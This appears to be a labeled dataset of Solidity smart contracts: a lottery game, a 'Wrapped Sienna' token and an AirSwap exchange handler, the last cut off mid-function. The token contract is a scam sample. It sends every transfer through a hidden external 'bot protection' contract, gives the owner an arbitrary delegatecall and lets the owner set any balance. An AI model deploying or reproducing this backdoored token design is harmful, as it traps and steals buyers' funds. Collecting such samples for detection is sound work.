scheme.mask = scheme.mask.add(pps);
}
function flushVault (uint _schemeId, address _owner) internal {
uint gains = gainsOfVault(_schemeId, _owner);
if (gains > 0) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.value = vault.value.add(gains);
vault.mask = vault.mask.add(gains);
}
}
function withdrawVault (uint _schemeId, address _owner) internal returns (uint) {
flushVault(_schemeId, _owner);
Vault storage vault = vaultOfAddress[_schemeId][_owner];
uint payout = vault.value.div(FIXED_POINT);
if (payout > 0) {
vault.value = 0;
}
return payout;
}
function creditVault (uint _schemeId, address _owner, uint _value) internal {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.value = vault.value.add(_value.mul(FIXED_POINT));
}
function gainsOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Scheme storage scheme = schemeOfId[_schemeId];
Vault storage vault = vaultOfAddress[_schemeId][_owner];
if (vault.shares == 0) {
return 0;
}
return scheme.mask.mul(vault.shares).sub(vault.mask);
}
function valueOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
return vault.value;
}
function balanceOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
uint total = vault.value.add(gainsOfVault(_schemeId, _owner));
uint balance = total.div(FIXED_POINT);
return balance;
}
function sharesOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
return vault.shares;
}
function valueOfScheme (uint _schemeId) internal view returns (uint) {
return schemeOfId[_schemeId].value;
}
function sharesOfScheme (uint _schemeId) internal view returns (uint) {
return schemeOfId[_schemeId].shares;
}
}
library Utils {
using SafeMath for uint;
uint private constant LAST_COUNTRY = 195;
function regularTicketPrice () internal pure returns (uint) {
return 100000000000000;
}
function goldenTicketPrice (uint _x) internal pure returns (uint) {
uint price = _x.mul(_x).div(2168819140000000000000000).add(100000000000000).add(_x.div(100000));
return price < regularTicketPrice() ? regularTicketPrice() : price;
}
function ticketsForWithExcess (uint _value) internal pure returns (uint, uint) {
uint tickets = _value.div(regularTicketPrice());
uint excess = _value.sub(tickets.mul(regularTicketPrice()));
return (tickets, excess);
}
function percentageOf (uint _value, uint _p) internal pure returns (uint) {
return _value.mul(_p).div(100);
}
function validReferralCode (string _code) internal pure returns (bool) {
bytes memory b = bytes(_code);
if (b.length < 3) {
return false;
}
for (uint i = 0; i < b.length; i++) {
bytes1 c = b[i];
if (
!(c >= 0x30 && c <= 0x39) &&
!(c >= 0x41 && c <= 0x5A) &&
!(c >= 0x61 && c <= 0x7A) &&
!(c == 0x2D)
) {
return false;
}
}
return true;
}
function validNick (string _nick) internal pure returns (bool) {
return bytes(_nick).length > 3;
}
function validCountryId (uint _countryId) internal pure returns (bool) {
return _countryId > 0 && _countryId <= LAST_COUNTRY;
}
}
contract Events {
event Started (
uint _time
);
event Bought (
address indexed _player,
address indexed _referral,
uint _countryId,
uint _tickets,
uint _value,
uint _excess
);
event Promoted (
address indexed _player,
uint _goldenTickets,
uint _endTime
);
event Withdrew (
address indexed _player,
uint _amount
);
event Registered (
string _code, address indexed _referral
);
event Won (
address indexed _winner, uint _pot
);
}
contract Constants {
uint internal constant MAIN_SCHEME = 1337;
uint internal constant DEFAULT_COUNTRY = 1;
uint internal constant SET_NICK_FEE = 0.01 ether;
uint internal constant REFERRAL_REGISTRATION_FEE = 0.01 ether;
uint internal constant TO_DIVIDENDS = 42;
uint internal constant TO_REFERRAL = 10;
uint internal constant TO_DEVELOPERS = 4;
uint internal constant TO_COUNTRY = 12;
}
contract State is Constants {
address internal addressOfOwner;
uint internal maxTime = 0;
uint internal addedTime = 0;
uint internal totalPot = 0;
uint internal startTime = 0;
uint internal endTime = 0;
bool internal potWithdrawn = false;
address internal addressOfCaptain;
struct Info {
address referral;
uint countryId;
uint withdrawn;
string nick;
}
mapping (address => Info) internal infoOfAddress;
mapping (address => string[]) internal codesOfAddress;
mapping (string => address) internal addressOfCode;
modifier restricted () {
require(msg.sender == addressOfOwner);
_;
}
modifier active () {
require(startTime > 0);
require(block.timestamp < endTime);
require(!potWithdrawn);
_;
}
modifier player () {
require(infoOfAddress[msg.sender].countryId > 0);
_;
}
}
contract Core is Events, State, Dividends {}
contract ExternalView is Core {
function totalInfo () external view returns (bool, bool, address, uint, uint, uint, uint, uint, uint, address) {
return (
startTime > 0,
block.timestamp >= endTime,
addressOfCaptain,
totalPot,
endTime,
sharesOfScheme(MAIN_SCHEME),
valueOfScheme(MAIN_SCHEME),
maxTime,
addedTime,
addressOfOwner
);
}
function countryInfo (uint _countryId) external view returns (uint, uint) {
return (
sharesOfScheme(_countryId),
valueOfScheme(_countryId)
);
}
function playerInfo (address _player) external view returns (uint, uint, uint, address, uint, uint, string) {
Info storage info = infoOfAddress[_player];
return (
sharesOfVault(MAIN_SCHEME, _player),
balanceOfVault(MAIN_SCHEME, _player),
balanceOfVault(info.countryId, _player),
info.referral,
info.countryId,
info.withdrawn,
info.nick
);
}
function numberOfReferralCodes (address _player) external view returns (uint) {
return codesOfAddress[_player].length;
}
function referralCodeAt (address _player, uint i) external view returns (string) {
return codesOfAddress[_player][i];
}
function codeToAddress (string _code) external view returns (address) {
return addressOfCode[_code];
}
function goldenTicketPrice (uint _x) external pure returns (uint) {
return Utils.goldenTicketPrice(_x);
}
}
contract Internal is Core {
function _registerReferral (string _code, address _referral) internal {
require(Utils.validReferralCode(_code));
require(addressOfCode[_code] == address(0));
addressOfCode[_code] = _referral;
codesOfAddress[_referral].push(_code);
emit Registered(_code, _referral);
}
}
contract WinnerWinner is Core, Internal, ExternalView {
using SafeMath for *;
constructor () public {
addressOfOwner = msg.sender;
}
function () public payable {
buy(addressOfOwner, DEFAULT_COUNTRY);
}
function start (uint _maxTime, uint _addedTime) public restricted {
require(startTime == 0);
require(_maxTime > 0 && _addedTime > 0);
require(_maxTime > _addedTime);
maxTime = _maxTime;
addedTime = _addedTime;
startTime = block.timestamp;
endTime = startTime + maxTime;
addressOfCaptain = addressOfOwner;
_registerReferral("owner", addressOfOwner);
emit Started(startTime);
}
function buy (address _referral, uint _countryId) public payable active {
require(msg.value >= Utils.regularTicketPrice());
require(msg.value <= 100000 ether);
require(codesOfAddress[_referral].length > 0);
require(_countryId != MAIN_SCHEME);
require(Utils.validCountryId(_countryId));
(uint tickets, uint excess) = Utils.ticketsForWithExcess(msg.value);
uint value = msg.value.sub(excess);
require(tickets > 0);
require(value.add(excess) == msg.value);
Info storage info = infoOfAddress[msg.sender];
if (info.countryId == 0) {
info.referral = _referral;
info.countryId = _countryId;
}
uint vdivs = Utils.percentageOf(value, TO_DIVIDENDS);
uint vreferral = Utils.percentageOf(value, TO_REFERRAL);
uint vdevs = Utils.percentageOf(value, TO_DEVELOPERS);
uint vcountry = Utils.percentageOf(value, TO_COUNTRY);
uint vpot = value.sub(vdivs).sub(vreferral).sub(vdevs).sub(vcountry);
assert(vdivs.add(vreferral).add(vdevs).add(vcountry).add(vpot) == value);
buyShares(MAIN_SCHEME, msg.sender, tickets, vdivs);
buyShares(info.countryId, msg.sender, tickets, vcountry);
creditVault(MAIN_SCHEME, info.referral, vreferral);
creditVault(MAIN_SCHEME, addressOfOwner, vdevs);
if (excess > 0) {
creditVault(MAIN_SCHEME, msg.sender, excess);
}
uint goldenTickets = value.div(Utils.goldenTicketPrice(totalPot));
if (goldenTickets > 0) {
endTime = endTime.add(goldenTickets.mul(addedTime)) > block.timestamp.add(maxTime) ?
block.timestamp.add(maxTime) : endTime.add(goldenTickets.mul(addedTime));
addressOfCaptain = msg.sender;
emit Promoted(addressOfCaptain, goldenTickets, endTime);
}
totalPot = totalPot.add(vpot);
emit Bought(msg.sender, info.referral, info.countryId, tickets, value, excess);
}
function setNick (string _nick) public payable {
require(msg.value == SET_NICK_FEE);
require(Utils.validNick(_nick));
infoOfAddress[msg.sender].nick = _nick;
creditVault(MAIN_SCHEME, addressOfOwner, msg.value);
}
function registerCode (string _code) public payable {
require(startTime > 0);
require(msg.value == REFERRAL_REGISTRATION_FEE);
_registerReferral(_code, msg.sender);
creditVault(MAIN_SCHEME, addressOfOwner, msg.value);
}
function giftCode (string _code, address _referral) public restricted {
_registerReferral(_code, _referral);
}
function withdraw () public {
Info storage info = infoOfAddress[msg.sender];
uint payout = withdrawVault(MAIN_SCHEME, msg.sender);
if (Utils.validCountryId(info.countryId)) {
payout = payout.add(withdrawVault(info.countryId, msg.sender));
}
if (payout > 0) {
info.withdrawn = info.withdrawn.add(payout);
msg.sender.transfer(payout);
emit Withdrew(msg.sender, payout);
}
}
function withdrawPot () public player {
require(startTime > 0);
require(block.timestamp > (endTime + 10 minutes));
require(!potWithdrawn);
require(totalPot > 0);
require(addressOfCaptain == msg.sender);
uint payout = totalPot;
totalPot = 0;
potWithdrawn = true;
addressOfCaptain.transfer(payout);
emit Won(msg.sender, payout);
}
} | 0 | 1,112 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract WrappedSienna is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 308370000000000000000000;
string public name = "Sienna (ERC20)";
string public symbol = "wSIENNA";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOf(wBNB, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOf(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 1 | 2,513 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function decimals() public view returns (uint256);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library ERC20SafeTransfer {
function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transfer(address,uint256)")), _to, _value));
return fetchReturnData();
}
function safeTransferFrom(address _tokenAddress, address _from, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, _to, _value));
return fetchReturnData();
}
function safeApprove(address _tokenAddress, address _spender, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("approve(address,uint256)")), _spender, _value));
return fetchReturnData();
}
function fetchReturnData() internal returns (bool success){
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
revert(0, 0)
}
}
}
}
contract AllowanceSetter {
uint256 constant MAX_UINT = 2**256 - 1;
function approveAddress(address addressToApprove, address token) internal {
if(ERC20(token).allowance(address(this), addressToApprove) == 0) {
require(ERC20SafeTransfer.safeApprove(token, addressToApprove, MAX_UINT));
}
}
}
contract ErrorReporter {
function revertTx(string reason) public pure {
revert(reason);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Utils {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal MAX_QTY = (10**28);
uint256 constant internal MAX_RATE = (PRECISION * 10**6);
uint256 constant internal MAX_DECIMALS = 18;
uint256 constant internal ETH_DECIMALS = 18;
uint256 constant internal MAX_UINT = 2**256-1;
function precision() internal pure returns (uint256) { return PRECISION; }
function max_qty() internal pure returns (uint256) { return MAX_QTY; }
function max_rate() internal pure returns (uint256) { return MAX_RATE; }
function max_decimals() internal pure returns (uint256) { return MAX_DECIMALS; }
function eth_decimals() internal pure returns (uint256) { return ETH_DECIMALS; }
function max_uint() internal pure returns (uint256) { return MAX_UINT; }
function getDecimals(address token)
internal
view
returns (uint256 decimals)
{
bytes4 functionSig = bytes4(keccak256("decimals()"));
assembly {
let ptr := mload(0x40)
mstore(ptr,functionSig)
let functionSigLength := 0x04
let wordLength := 0x20
let success := call(
5000,
token,
0,
ptr,
functionSigLength,
ptr,
wordLength
)
switch success
case 0 {
decimals := 0
}
case 1 {
decimals := mload(ptr)
}
mstore(0x40,add(ptr,0x04))
}
}
function tokenAllowanceAndBalanceSet(
address tokenOwner,
address tokenAddress,
uint256 tokenAmount,
address addressToAllow
)
internal
view
returns (bool)
{
return (
ERC20(tokenAddress).allowance(tokenOwner, addressToAllow) >= tokenAmount &&
ERC20(tokenAddress).balanceOf(tokenOwner) >= tokenAmount
);
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns (uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns (uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns (uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface WETH {
function deposit() external payable;
function withdraw(uint256 amount) external;
function balanceOf(address account) external returns (uint256);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TotleControl is Ownable {
mapping(address => bool) public authorizedPrimaries;
modifier onlyTotle() {
require(authorizedPrimaries[msg.sender]);
_;
}
constructor(address _totlePrimary) public {
authorizedPrimaries[_totlePrimary] = true;
}
function addTotle(
address _totlePrimary
) external onlyOwner {
authorizedPrimaries[_totlePrimary] = true;
}
function removeTotle(
address _totlePrimary
) external onlyOwner {
authorizedPrimaries[_totlePrimary] = false;
}
}
contract Withdrawable is Ownable {
function withdrawToken(address _token, uint256 _amount) external onlyOwner returns (bool) {
return ERC20SafeTransfer.safeTransfer(_token, owner, _amount);
}
function withdrawETH(uint256 _amount) external onlyOwner {
owner.transfer(_amount);
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool private _paused = false;
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Contract is paused.");
_;
}
modifier whenPaused() {
require(_paused, "Contract not paused.");
_;
}
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused();
}
}
contract SelectorProvider {
bytes4 constant getAmountToGiveSelector = bytes4(keccak256("getAmountToGive(bytes)"));
bytes4 constant staticExchangeChecksSelector = bytes4(keccak256("staticExchangeChecks(bytes)"));
bytes4 constant performBuyOrderSelector = bytes4(keccak256("performBuyOrder(bytes,uint256)"));
bytes4 constant performSellOrderSelector = bytes4(keccak256("performSellOrder(bytes,uint256)"));
function getSelector(bytes4 genericSelector) public pure returns (bytes4);
}
contract ExchangeHandler is SelectorProvider, TotleControl, Withdrawable, Pausable {
ErrorReporter public errorReporter;
constructor(
address totlePrimary,
address _errorReporter
)
TotleControl(totlePrimary)
public
{
require(_errorReporter != address(0x0));
errorReporter = ErrorReporter(_errorReporter);
}
function getAmountToGive(
bytes genericPayload
)
public
view
returns (uint256 amountToGive)
{
bool success;
bytes4 functionSelector = getSelector(this.getAmountToGive.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
amountToGive := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function staticExchangeChecks(
bytes genericPayload
)
public
view
returns (bool checksPassed)
{
bool success;
bytes4 functionSelector = getSelector(this.staticExchangeChecks.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
checksPassed := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function performBuyOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
payable
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = getSelector(this.performBuyOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
function performSellOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = getSelector(this.performSellOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
}
interface AirSwap {
function fills(bytes32 hash) external view returns (bool);
function fill(
address makerAddress,
uint makerAmount,
address makerToken,
address takerAddress,
uint takerAmount,
address takerToken,
uint256 expiration,
uint256 nonce,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
}
contract AirSwapHandler is ExchangeHandler, AllowanceSetter {
AirSwap public exchange;
WETH public weth;
struct OrderData {
address makerAddress;
address makerToken;
address takerAddress;
address takerToken;
uint256 makerAmount;
uint256 takerAmount;
uint256 expiration;
uint256 nonce;
uint8 v;
bytes32 r;
bytes32 s;
}
constructor(
address _exchange,
address _weth,
address totlePrimary,
address errorReporter
)
ExchangeHandler(totlePrimary, errorReporter)
public
{
require(_exchange != address(0x0));
require(_weth != address(0x0));
exchange = AirSwap(_exchange);
weth = WETH(_weth);
}
function getAmountToGive(
OrderData data
)
public
view
whenNotPaused
onlyTotle
returns (uint256 amountToGive)
{
return data.takerAmount;
}
function staticExchangeChecks(
OrderData data
)
public
view
whenNotPaused
onlyTotle
returns (bool checksPassed)
{
bytes32 orderHash;
bytes32 prefixedHash;
(orderHash, prefixedHash) = getOrderHash(data);
return (
data.takerAddress != data.makerAddress &&
data.expiration >= block.timestamp &&
ecrecover(prefixedHash, data.v, data.r, data.s) == data.makerAddress &&
!exchange.fills(orderHash) &&
data.takerAddress == address(this) &&
Utils.tokenAllowanceAndBalanceSet(data.makerAddress, data.makerToken, data.makerAmount, address(exchange))
);
}
function performBuyOrder(
OrderData data,
uint256 amountToGiveForOrder
)
public
payable
whenNotPaused
onlyTotle
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
if (data.takerAmount != amountToGiveForOrder || msg.value != data.takerAmount) {
msg.sender.transfer(msg.value);
return (0,0);
}
fillAndValidate(data);
if (!ERC20SafeTransfer.safeTransfer(data.makerToken, msg.sender, data.makerAmount)) {
errorReporter.revertTx("AirSwap: Unable to transfer bought tokens to primary");
}
return (data.takerAmount, data.makerAmount);
}
function performSellOrder(
OrderData data,
uint256 amountToGiveForOrder
)
public
whenNotPaused
onlyTotle
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
if (data.takerAmount != amountToGiveForOrder) {
errorReporter.revertTx("AirSwap: takerAmount != amountToGiveForOrder");
}
if (data.makerToken != address(weth)) {
return (0,0);
}
approveAddress(address(exchange), data.takerToken);
fillAndValidate(data);
weth.withdraw(data.makerAmount);
msg.sender.transfer(data.makerAmount);
return (data.takerAmount, data.makerAmount);
}
function getOrderHash(
OrderData data
)
internal
pure
returns (bytes32 orderHash, bytes32 prefixedHash)
{
orderHash = keccak256(
data.makerAddress,
data.makerAmount,
data.makerToken,
data.takerAddress,
data.takerAmount,
data.takerToken,
data.expiration,
data.nonce
);
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
